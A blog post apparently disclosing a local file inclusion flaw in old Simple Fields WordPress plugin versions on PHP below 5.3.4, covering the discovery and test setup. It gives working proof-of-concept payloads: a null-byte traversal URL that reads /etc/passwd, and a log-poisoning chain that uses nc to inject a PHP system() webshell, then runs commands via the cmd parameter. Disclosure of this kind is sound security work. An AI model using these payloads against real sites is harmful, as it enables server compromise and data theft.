I discovered a vulnerability in a wordpress plugin

I was reviewing some code recently that had been written by someone that I knew and I found an LFI vulnerability using directory traversal. I explained it to them and they fixed it, but not quite well enough, so I showed them again how it could be exploited in a different way, and this time the fixed it properly. Hopefully they learnt a lesson on the way that they should always sanitise user input.

It was thrilling to discover an exploit like this myself so I decided to search public code repositories for obviously vulnerable lines of code. I found a wordpress plugin called simple fields that had a LFI vulnerability in due to unsanitised user input. It can even lead to RFI or RCE depending on how the web server is configured (e.g. allow_url_include is enabled or of apache logs can be poisoned and loaded). It actually looks like it was fixed in later versions because the lines containing the vulnerability were commented out, but old versions my still be installed on some sites.

I submitted the vulnerability to the exploit database and it has been published here.

I knew how the vulnerability should work, but I needed to verify it, so I had to set up an environment to test it. The vulnerability requires version 0.2 – 0.3.5 of simple fields and it must be hosted on a system running 5.3.3 or older php. It’s pretty hard to install 5.3.3 or older php these days. There won’t be a php package of that version in any default repositories. The easiest way I found of installing it was to install camp 1.7.2 on Linux (I used Ubuntu 16.0.4)

PHP <5.3.4 is required because the exploit relies on the ability to inject a null byte to terminate a string before the script expects it to be and this was fixed in PHP 5.3.4

The vulnerable line of code in simple_fields.php is:

require( $_GET["wp_abspath"] . './wp-blog-header.php' );

Proof of concept LFI:

http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00

This works because the null byte terminates the string, so the trailing “./wp-blog-header.php” is ignored.

Proof of concept RCE:

$ echo "<?system(\$_GET['cmd'])?>"|nc host 80
$ curl "http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=../../../../../logs/access_log%00&cmd=id"

This works because we first poison the apache logs with some php that will run whatever command was submitted as the value for “cmd” in the query string, and then we use the LFI to include the poisoned log and the command we want to run.

This vulnerability is admittedly not that likely to show up in the wild since it requires an old version of php, and an old version of a plugin that isn’t even supported any more, but it could be present on some old systems.